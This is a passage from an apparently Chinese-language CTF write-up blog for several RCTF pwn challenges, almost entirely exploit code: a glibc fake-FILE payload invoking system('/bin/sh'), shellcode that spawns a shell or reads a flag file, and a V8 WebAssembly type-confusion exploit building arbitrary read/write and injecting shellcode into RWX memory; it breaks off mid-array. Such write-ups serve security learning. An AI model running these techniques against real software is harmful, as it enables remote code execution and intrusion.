<span class="line">    <span class="comment"># 0x88  _lock            0x90  _offset</span></span>
<span class="line">    <span class="comment"># 0x98  _codecvt         0xa0  _wide_data</span></span>
<span class="line">    <span class="comment"># 0xa8  _freeres_list    0xb0  _freeres_buf</span></span>
<span class="line">    <span class="comment"># 0xb8  __pad5           0xc0  _mode</span></span>
<span class="line">    <span class="comment"># 0xc4  _unused2         0xd8  vtable</span></span>
<span class="line">    fake_file = top_chunk+<span class="number">0x1a0</span></span>
<span class="line">    payload = flat(&#123;</span>
<span class="line">        <span class="number">0x0</span> : <span class="number">0xfbad1800</span>,</span>
<span class="line"></span>
<span class="line">        <span class="number">0xa0</span>: fake_file,</span>
<span class="line">        <span class="number">0x68</span>: libcbase + <span class="number">0x16e828</span>,</span>
<span class="line">        <span class="number">0x8</span>:  fake_file + <span class="number">0x70</span>,</span>
<span class="line">        <span class="number">0x78</span>: libcbase + <span class="number">0x171bd9</span>,</span>
<span class="line">        <span class="number">0x70</span>: fake_file + <span class="number">0x58</span>,</span>
<span class="line">        <span class="number">0x58</span>: <span class="string">b&#x27;/bin/sh\x00&#x27;</span>,</span>
<span class="line">        <span class="number">0x90</span>: fake_file + <span class="number">0x90</span>,</span>
<span class="line">        <span class="number">0x98</span>: libc.sym[<span class="string">&#x27;system&#x27;</span>],</span>
<span class="line"></span>
<span class="line">        <span class="number">0x88</span>: libcbase + <span class="number">0x205720</span>,</span>
<span class="line">        <span class="number">0x10</span>: <span class="number">1</span>,</span>
<span class="line">        <span class="number">0xd8</span> : libc.sym[<span class="string">&#x27;_IO_wfile_jumps&#x27;</span>] - <span class="number">0x20</span>,</span>
<span class="line">        <span class="number">0xe0</span> : fake_file</span>
<span class="line">    &#125;, filler =<span class="string">b&#x27;\x00&#x27;</span>).ljust(<span class="number">0x180</span>, <span class="string">b&#x27;\0&#x27;</span>)</span>
<span class="line">    <span class="comment"># for i in range(0, 0x8):</span></span>
<span class="line">        <span class="comment"># payload += p64(i*0x101) * 4</span></span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(top_chunk))</span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(libcbase))</span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(stack))</span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(binsh))</span>
<span class="line">    pause()</span>
<span class="line">    submit_task(p64(top_chunk+<span class="number">0x190</span>)[<span class="number">0</span>:<span class="number">6</span>], payload, <span class="number">1</span>)</span>
<span class="line"></span>
<span class="line"><span class="comment"># 0x000000000017ac2c : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x18]</span></span>
<span class="line"><span class="comment"># 0x000000000016c4a7 : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x20]</span></span>
<span class="line"><span class="comment"># 0x00000000001763ae : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x28]</span></span>
<span class="line"><span class="comment"># 0x000000000016da52 : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x30]</span></span>
<span class="line"><span class="comment"># 0x000000000017b837 : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x48]</span></span>
<span class="line"><span class="comment"># 0x000000000016e828 : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 8]</span></span>
<span class="line"></span>
<span class="line"><span class="comment"># 0x0000000000171d26 : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x18]</span></span>
<span class="line"><span class="comment"># 0x00000000001762fd : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x20]</span></span>
<span class="line"><span class="comment"># 0x0000000000171bd9 : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 8]</span></span>
<span class="line"></span>
<span class="line">    <span class="comment"># register(p64(stack-0x11f8)*5, p64(stack-0x11f8)*5)</span></span>
<span class="line">    nohup_register(<span class="string">b&#x27;1000&#x27;</span>, <span class="string">b&#x27;1000&#x27;</span>)</span>
<span class="line"></span>
<span class="line">pwn()</span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<h1 id="only"><a href="https://imi-imiab.com/posts/cnblogs-19254887/#only" class="headerlink" title="only"></a>only</h1><p><em>Man, what can I say?</em></p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">edit</span><span class="params">()</span></span>
<span class="line">    <span class="title function_">if</span><span class="params">(something)</span></span>
<span class="line">    &#123;</span>
<span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;EMPTY!!!&quot;</span>);</span>
<span class="line">        <span class="built_in">exit</span>(<span class="number">0</span>);</span>
<span class="line">    &#125;</span>
<span class="line">    <span class="comment">//...</span></span>
</pre></td></tr></table></figure>

<p>本质shellcode题，重新做出<code>read</code>就打完了</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename = <span class="string">&#x27;./chal&#x27;</span></span>
<span class="line">libc = ELF(<span class="string">&quot;./libc.so.6&quot;</span>)</span>
<span class="line">host= <span class="string">&#x27;1.95.190.154&#x27;</span></span>
<span class="line">port= <span class="number">0</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line">e = ELF(filename)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">mode, script = <span class="string">&quot;&quot;</span></span>):</span>
<span class="line">    <span class="keyword">if</span> <span class="string">&quot;d&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = gdb.debug(filename, script)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;l&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;r&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = remote(host, port)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;a&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">        gdb.attach(p, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">getp</span>():</span>
<span class="line">    <span class="keyword">global</span> script</span>
<span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) == <span class="number">2</span>:</span>
<span class="line">        p = run(sys.argv[<span class="number">1</span>], script)</span>
<span class="line">    <span class="keyword">else</span>:</span>
<span class="line">        p = run(<span class="string">&quot;l&quot;</span>, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line">script = <span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span>
<span class="line">    <span class="keyword">global</span> p</span>
<span class="line">    p = getp()</span>
<span class="line">    hex_value = <span class="number">0xD0E0A0D0B0E0E0F</span></span>
<span class="line">    float_value = struct.unpack(<span class="string">&#x27;d&#x27;</span>, struct.pack(<span class="string">&#x27;Q&#x27;</span>, hex_value))[<span class="number">0</span>]</span>
<span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;The float value of 0x<span class="subst">&#123;hex_value:X&#125;</span> is: <span class="subst">&#123;float_value&#125;</span>&quot;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;3.&#x27;</span>, <span class="string">&#x27;2&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;input&#x27;</span>, <span class="built_in">str</span>(float_value))</span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, <span class="string">&#x27;1&#x27;</span>)</span>
<span class="line">    pause()</span>
<span class="line">    shellcode = asm(<span class="string">&#x27;pop rsi;&#x27;</span>*<span class="number">6</span> + <span class="string">&#x27;mov dl,0xff; syscall&#x27;</span>) </span>
<span class="line">    sa(<span class="string">&#x27;:&#x27;</span>, shellcode)</span>
<span class="line">    sleep(<span class="number">0.5</span>)</span>
<span class="line">    s(asm(<span class="string">&#x27;nop;&#x27;</span>*<span class="number">0x40</span>+shellcraft.sh()))</span>
<span class="line"></span>
<span class="line"></span>
<span class="line"></span>
<span class="line">pwn()</span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<h1 id="only-rev"><a href="https://imi-imiab.com/posts/cnblogs-19254887/#only-rev" class="headerlink" title="only_rev"></a>only_rev</h1><p><em>It’s not funny</em></p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">edit</span><span class="params">()</span></span>
<span class="line">    <span class="title function_">if</span><span class="params">(something)</span></span>
<span class="line">    &#123;</span>
<span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;EMPTY!!!&quot;</span>);</span>
<span class="line">        <span class="built_in">exit</span>(<span class="number">0</span>);</span>
<span class="line">    &#125;</span>
<span class="line">    <span class="comment">//...</span></span>
</pre></td></tr></table></figure>

<p>本质shellcode题，重新做出read然后就打完了。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename = <span class="string">&#x27;./chal&#x27;</span></span>
<span class="line"><span class="comment"># libc = ELF(&quot;./libc.so.6&quot;)</span></span>
<span class="line">host= <span class="string">&#x27;1.95.164.64&#x27;</span></span>
<span class="line">port= <span class="number">26000</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line">e = ELF(filename)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">mode, script = <span class="string">&quot;&quot;</span></span>):</span>
<span class="line">    <span class="keyword">if</span> <span class="string">&quot;d&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = gdb.debug(filename, script)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;l&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;r&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = remote(host, port)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;a&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">        gdb.attach(p, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">getp</span>():</span>
<span class="line">    <span class="keyword">global</span> script</span>
<span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) == <span class="number">2</span>:</span>
<span class="line">        p = run(sys.argv[<span class="number">1</span>], script)</span>
<span class="line">    <span class="keyword">else</span>:</span>
<span class="line">        p = run(<span class="string">&quot;l&quot;</span>, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line">script = <span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">go</span></span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span>
<span class="line">    <span class="keyword">global</span> p</span>
<span class="line">    p = getp()</span>
<span class="line">    </span>
<span class="line">    hex_value = <span class="number">0xD0E0A0D0B0E0E0F</span></span>
<span class="line">    float_value = struct.unpack(<span class="string">&#x27;d&#x27;</span>, struct.pack(<span class="string">&#x27;Q&#x27;</span>, hex_value))[<span class="number">0</span>]</span>
<span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;The float value of 0x<span class="subst">&#123;hex_value:X&#125;</span> is: <span class="subst">&#123;float_value&#125;</span>&quot;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;3.&#x27;</span>, <span class="string">&#x27;2&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;input&#x27;</span>, <span class="built_in">str</span>(float_value))</span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, <span class="string">&#x27;1&#x27;</span>)</span>
<span class="line">    pause()</span>
<span class="line">    shellcode = <span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">syscall</span></span>
<span class="line"><span class="string">mov rsi, rcx</span></span>
<span class="line"><span class="string">mov dl, 0xff</span></span>
<span class="line"><span class="string">syscall</span></span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line">    shellcode = asm(shellcode)</span>
<span class="line">    sa(<span class="string">&#x27;:&#x27;</span>, shellcode)</span>
<span class="line">    sleep(<span class="number">0.5</span>)</span>
<span class="line">    s(asm(<span class="string">&#x27;nop;&#x27;</span>*<span class="number">0x40</span>+<span class="string">&#x27;lea rsp, [rip+0x800];&#x27;</span> + shellcraft.<span class="built_in">open</span>(<span class="string">&#x27;flag&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>) + shellcraft.read(<span class="string">&#x27;rax&#x27;</span>, <span class="string">&#x27;rsp&#x27;</span>, <span class="number">0x100</span>) + shellcraft.write(<span class="number">1</span>, <span class="string">&#x27;rsp&#x27;</span>, <span class="number">0x100</span>)))</span>
<span class="line"></span>
<span class="line">pwn()</span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<h1 id="no-check-WASM"><a href="https://imi-imiab.com/posts/cnblogs-19254887/#no-check-WASM" class="headerlink" title="no_check_WASM"></a>no_check_WASM</h1><p>本题取消了<code>wasm</code>的类型保护检查。</p>
<p>用<code>externStructRef</code>自己做一个结构体就能随便任意读写了</p>
<p>然后就是找<code>rwx</code>写<code>rwx</code>。<code>wasm</code>在预热以后能从它的栈内存里泄漏栈地址（猜测，总之是拿到了地址）</p>
<p>然后就写<code>shellcode</code>我的脚本是概率通，嗯。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line"><span class="keyword">import</span> hashlib</span>
<span class="line"><span class="keyword">import</span> sys</span>
<span class="line"><span class="keyword">import</span> itertools</span>
<span class="line"><span class="keyword">import</span> string</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">solve</span>(<span class="params">h</span>):</span>
<span class="line">    <span class="keyword">if</span> <span class="built_in">isinstance</span>(h, <span class="built_in">bytes</span>): h = h.decode().strip()</span>
<span class="line">    cmd = [<span class="string">&quot;hashcat&quot;</span>, <span class="string">&quot;-m&quot;</span>, <span class="string">&quot;1400&quot;</span>, <span class="string">&quot;-a&quot;</span>, <span class="string">&quot;3&quot;</span>, <span class="string">&quot;--quiet&quot;</span>, <span class="string">&quot;--potfile-disable&quot;</span>, <span class="string">&quot;--outfile-format=2&quot;</span>, h, <span class="string">&quot;rctf?h?h?h?h?h?h&quot;</span>]</span>
<span class="line">    <span class="keyword">return</span> subprocess.check_output(cmd, stderr=subprocess.DEVNULL).decode().strip()[<span class="number">4</span>:].encode()</span>
<span class="line">            </span>
<span class="line">filename = <span class="string">&#x27;./d8&#x27;</span></span>
<span class="line"><span class="comment"># libc = ELF(&quot;./libc.so.6&quot;)</span></span>
<span class="line">host= <span class="string">&#x27;127.0.0.1&#x27;</span></span>
<span class="line">port= <span class="number">7000</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line">e = ELF(filename)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">mode, script = <span class="string">&quot;&quot;</span></span>):</span>
<span class="line">    <span class="keyword">if</span> <span class="string">&quot;d&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = gdb.debug(filename, script)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;l&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;r&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = remote(host, port)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;a&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">        gdb.attach(p, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">getp</span>():</span>
<span class="line">    <span class="keyword">global</span> script</span>
<span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) == <span class="number">2</span>:</span>
<span class="line">        p = run(sys.argv[<span class="number">1</span>], script)</span>
<span class="line">    <span class="keyword">else</span>:</span>
<span class="line">        p = run(<span class="string">&quot;l&quot;</span>, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line">script = <span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span>
<span class="line">    <span class="keyword">global</span> p</span>
<span class="line">    p = getp()</span>
<span class="line">    p.recvuntil(<span class="string">&#x27;Find a nonce such that SHA-256(\&#x27;rctf\&#x27; + nonce) == &#x27;</span>)</span>
<span class="line">    <span class="built_in">hash</span> = p.recvline(keepends=<span class="literal">False</span>)</span>
<span class="line">    nonce = solve(<span class="built_in">hash</span>)</span>
<span class="line">    sa(<span class="string">&#x27;nonce:&#x27;</span>, nonce)</span>
<span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;./1.js&#x27;</span>) <span class="keyword">as</span> f:</span>
<span class="line">        js = f.read()</span>
<span class="line">        sla(<span class="string">&#x27;size&#x27;</span>, <span class="built_in">str</span>(<span class="built_in">len</span>(js)))</span>
<span class="line">        sla(<span class="string">&#x27;script&#x27;</span>, js)</span>
<span class="line"></span>
<span class="line">pwn()</span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="comment">///// ------------------ wasm-module-builder.js END -------------------- /////</span></span>
<span class="line"></span>
<span class="line"><span class="keyword">var</span> <span class="title function_">foo</span> = (<span class="params"></span>)=&gt;</span>
<span class="line">&#123;</span>
<span class="line">    <span class="keyword">return</span> [<span class="number">1.0</span>,</span>
<span class="line">        <span class="number">1.95538254221075331056310651818E-246</span>,</span>
<span class="line">        <span class="number">1.95606125582421466942709801013E-246</span>,</span>
<span class="line">        <span class="number">1.99957147195425773436923756715E-246</span>,</span>
<span class="line">        <span class="number">1.95337673326740932133292175341E-246</span>,</span>
<span class="line">        <span class="number">2.63486047652296056448306022844E-284</span>];</span>
<span class="line">&#125;</span>
<span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">0x10000</span>; i++) &#123;</span>
<span class="line">    <span class="title function_">foo</span>();<span class="title function_">foo</span>();<span class="title function_">foo</span>();<span class="title function_">foo</span>();</span>
<span class="line">&#125; </span>
<span class="line"><span class="comment">// Helper</span></span>
<span class="line"><span class="keyword">var</span> _b = <span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(<span class="number">16</span>);</span>
<span class="line"><span class="keyword">var</span> _f = <span class="keyword">new</span> <span class="title class_">Float64Array</span>(_b);</span>
<span class="line"><span class="keyword">var</span> _i = <span class="keyword">new</span> <span class="title class_">BigUint64Array</span>(_b);</span>
<span class="line"><span class="keyword">function</span> <span class="title function_">f2i</span>(<span class="params">f</span>)</span>
<span class="line">&#123;</span>
<span class="line">    _f[<span class="number">0</span>] = f;</span>
<span class="line">    <span class="keyword">return</span> _i[<span class="number">0</span>];</span>
<span class="line">&#125;</span>
<span class="line"><span class="keyword">function</span> <span class="title function_">i2f</span>(<span class="params">i</span>)</span>
<span class="line">&#123;</span>
<span class="line">    _i[<span class="number">0</span>] = i;</span>
<span class="line">    <span class="keyword">return</span> _f[<span class="number">0</span>];</span>
<span class="line">&#125;</span>
<span class="line"><span class="keyword">function</span> <span class="title function_">hex</span>(<span class="params">i</span>)</span>
<span class="line">&#123;</span>
<span class="line">    <span class="title function_">print</span>(<span class="string">&quot;0x&quot;</span>+i.<span class="title function_">toString</span>(<span class="number">16</span>).<span class="title function_">padStart</span>(<span class="number">16</span>,<span class="string">&quot;0&quot;</span>));</span>
<span class="line">&#125;</span>
<span class="line"></span>
<span class="line"><span class="keyword">function</span> <span class="title function_">addr_of</span>(<span class="params">obj</span>)</span>
<span class="line">&#123;</span>
<span class="line">    <span class="keyword">const</span> builder = <span class="keyword">new</span> <span class="title class_">WasmModuleBuilder</span>();</span>
<span class="line">    <span class="keyword">const</span> sig_i = <span class="title function_">makeSig</span>([kWasmExternRef], [kWasmI64]);</span>
<span class="line"></span>
<span class="line">    builder.<span class="title function_">addFunction</span>(<span class="string">&quot;addr&quot;</span>, sig_i)</span>
<span class="line">    .<span class="title function_">exportFunc</span>()</span>
<span class="line">    .<span class="title function_">addBody</span>([</span>
<span class="line">        kExprLocalGet, <span class="number">0</span>,</span>
<span class="line">    ]);</span>
<span class="line">    <span class="keyword">const</span> instance = builder.<span class="title function_">instantiate</span>();</span>
<span class="line">    <span class="keyword">const</span> addr = instance.<span class="property">exports</span>.<span class="property">addr</span>;</span>
<span class="line">    <span class="keyword">return</span> <span class="title function_">addr</span>(obj);</span>
<span class="line">&#125;</span>
<span class="line"></span>
<span class="line"><span class="keyword">function</span> <span class="title function_">fake_obj</span>(<span class="params">addr</span>)</span>
<span class="line">&#123;</span>
<span class="line">    <span class="keyword">const</span> builder = <span class="keyword">new</span> <span class="title class_">WasmModuleBuilder</span>();</span>
<span class="line">    <span class="keyword">const</span> sig_i = <span class="title function_">makeSig</span>([kWAsmI64], [kWasmExternRef]);</span>
<span class="line"></span>
<span class="line">    builder.<span class="title function_">addFunction</span>(<span class="string">&quot;fake&quot;</span>, sig_i)</span>
<span class="line">    .<span class="title function_">exportFunc</span>()</span>
<span class="line">    .<span class="title function_">addBody</span>([</span>
<span class="line">        kExprLocalGet, <span class="number">0</span>,</span>
<span class="line">    ]);</span>
<span class="line"></span>
<span class="line">    <span class="keyword">const</span> instance = builder.<span class="title function_">instantiate</span>();</span>
<span class="line">    <span class="keyword">const</span> fake = instance.<span class="property">exports</span>.<span class="property">fake</span>;</span>
<span class="line">    <span class="keyword">return</span> <span class="title function_">fake</span>(addr);</span>
<span class="line">&#125;</span>
<span class="line"></span>
<span class="line"><span class="keyword">function</span> <span class="title function_">buildConfuseFunction</span>(<span class="params">addr</span>)</span>
<span class="line">&#123;</span>
<span class="line">    <span class="keyword">const</span> builder = <span class="keyword">new</span> <span class="title class_">WasmModuleBuilder</span>();</span>
<span class="line"></span>
<span class="line">    <span class="keyword">const</span> filed_i64 = <span class="title function_">makeField</span>(kWasmI64, <span class="literal">true</span>);</span>
<span class="line">    <span class="keyword">const</span> structType = builder.<span class="title function_">addStruct</span>([filed_i64], kNoSuperType, <span class="literal">true</span>, <span class="literal">false</span>);</span>
<span class="line">    <span class="keyword">const</span> refStructType = <span class="title function_">wasmRefType</span>(structType)</span>
<span class="line"></span>
<span class="line">    <span class="keyword">const</span> sig_i = <span class="title function_">makeSig</span>([kWasmI64], [refStructType]);</span>
<span class="line">    cast = builder.<span class="title function_">addFunction</span>(<span class="string">&quot;i64_to_struct&quot;</span>, sig_i)</span>
<span class="line">    .<span class="title function_">exportFunc</span>()</span>
<span class="line">    .<span class="title function_">addBody</span>([</span>
<span class="line">        kExprLocalGet, <span class="number">0</span>,</span>
<span class="line">    ]);</span>
<span class="line"></span>
<span class="line">    <span class="keyword">const</span> sig_j = <span class="title function_">makeSig</span>([kWasmI64], [kWasmI64]);</span>
<span class="line">    builder.<span class="title function_">addFunction</span>(<span class="string">&quot;_read64&quot;</span>, sig_j)</span>
<span class="line">    .<span class="title function_">exportFunc</span>()</span>
<span class="line">    .<span class="title function_">addBody</span>([</span>
<span class="line">        kExprLocalGet, <span class="number">0</span>,</span>
<span class="line">        kExprCallFunction, ...<span class="title function_">wasmUnsignedLeb</span>(cast.<span class="property">index</span>, kMaxVarInt32Size),</span>
<span class="line">        kGCPrefix, kExprStructGet, </span>
<span class="line">        ...<span class="title function_">wasmUnsignedLeb</span>(structType, kMaxVarInt32Size), </span>
<span class="line">        ...<span class="title function_">wasmUnsignedLeb</span>(<span class="number">0</span>, kMaxVarInt32Size),</span>
<span class="line">    ]);</span>
<span class="line"></span>
<span class="line">    <span class="keyword">const</span> sig_k = <span class="title function_">makeSig</span>([kWasmI64, kWasmI64], []);</span>
<span class="line">    builder.<span class="title function_">addFunction</span>(<span class="string">&quot;_write64&quot;</span>, sig_k)</span>
<span class="line">    .<span class="title function_">exportFunc</span>()</span>
<span class="line">    .<span class="title function_">addBody</span>([</span>
<span class="line">        kExprLocalGet, <span class="number">0</span>,</span>
<span class="line">        kExprCallFunction, ...<span class="title function_">wasmUnsignedLeb</span>(cast.<span class="property">index</span>, kMaxVarInt32Size),</span>
<span class="line">        kExprLocalGet, <span class="number">1</span>,</span>
<span class="line">        kGCPrefix, kExprStructSet, </span>
<span class="line">        ...<span class="title function_">wasmUnsignedLeb</span>(structType, kMaxVarInt32Size), </span>
<span class="line">        ...<span class="title function_">wasmUnsignedLeb</span>(<span class="number">0</span>, kMaxVarInt32Size),</span>
<span class="line"></span>
<span class="line">    ]);</span>
<span class="line"></span>
<span class="line">    <span class="keyword">const</span> instance = builder.<span class="title function_">instantiate</span>();</span>
<span class="line">    <span class="keyword">return</span> instance.<span class="property">exports</span>;</span>
<span class="line">&#125;</span>
<span class="line"></span>
<span class="line"><span class="keyword">function</span> <span class="title function_">read64</span>(<span class="params">addr</span>)</span>
<span class="line">&#123;</span>
<span class="line">    <span class="keyword">return</span> <span class="title function_">buildConfuseFunction</span>().<span class="title function_">_read64</span>(addr);</span>
<span class="line">&#125;</span>
<span class="line"></span>
<span class="line"><span class="keyword">function</span> <span class="title function_">write64</span>(<span class="params">addr, value</span>)</span>
<span class="line">&#123;</span>
<span class="line">    <span class="keyword">return</span> <span class="title function_">buildConfuseFunction</span>().<span class="title function_">_write64</span>(addr, value);</span>
<span class="line">&#125;</span>
<span class="line"></span>
<span class="line"><span class="keyword">function</span> <span class="title function_">leak_stack</span>(<span class="params"></span>)</span>
<span class="line">&#123;</span>
<span class="line">    <span class="keyword">const</span> builder = <span class="keyword">new</span> <span class="title class_">WasmModuleBuilder</span>();</span>
<span class="line">    <span class="keyword">const</span> sig_i = <span class="title function_">makeSig</span>([], [kWasmI64, kWasmI64, kWasmF64, kWasmF64]);</span>
<span class="line"></span>
<span class="line">    builder.<span class="title function_">addFunction</span>(<span class="string">&quot;leak&quot;</span>, sig_i)</span>
<span class="line">    .<span class="title function_">exportFunc</span>()</span>
<span class="line">    .<span class="title function_">addBodyWithEnd</span>([</span>
<span class="line">        kExprEnd,</span>
<span class="line">    ]);</span>
<span class="line"></span>
<span class="line">  <span class="keyword">const</span> module_bytes = builder.<span class="title function_">toBuffer</span>();</span>
<span class="line">  <span class="keyword">const</span> mod = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Module</span>(module_bytes);</span>
<span class="line">  <span class="keyword">const</span> instance = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Instance</span>(mod, &#123;&#125;);</span>
<span class="line">  <span class="keyword">var</span> ret_val = instance.<span class="property">exports</span>.<span class="title function_">leak</span>();</span>
<span class="line">  <span class="keyword">return</span> ret_val;</span>
<span class="line">&#125;</span>
<span class="line">darry = [<span class="number">1.1</span>, <span class="number">1.2</span>, <span class="number">1.3</span>];</span>
<span class="line">x = <span class="title function_">addr_of</span>([foo]);</span>
<span class="line">y = <span class="title function_">read64</span>(x);</span>
<span class="line"><span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; <span class="number">1000</span>; i++)</span>
<span class="line">&#123;</span>
<span class="line">    <span class="keyword">var</span> sth = <span class="title function_">leak_stack</span>();</span>
<span class="line">&#125;</span>
<span class="line">sth = <span class="title function_">leak_stack</span>();</span>
<span class="line">stack = <span class="title function_">f2i</span>(sth[<span class="number">2</span>]);</span>
<span class="line"><span class="keyword">for</span>(i = <span class="number">0n</span>; i &lt; <span class="number">100n</span>; i++)</span>
<span class="line">&#123;</span>
<span class="line">    rwx = <span class="title function_">read64</span>(stack + i * <span class="number">8n</span> + <span class="number">1n</span>);</span>
<span class="line">    <span class="comment">// hex(rwx);</span></span>
<span class="line">&#125;</span>
<span class="line"></span>
<span class="line">sh = [</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
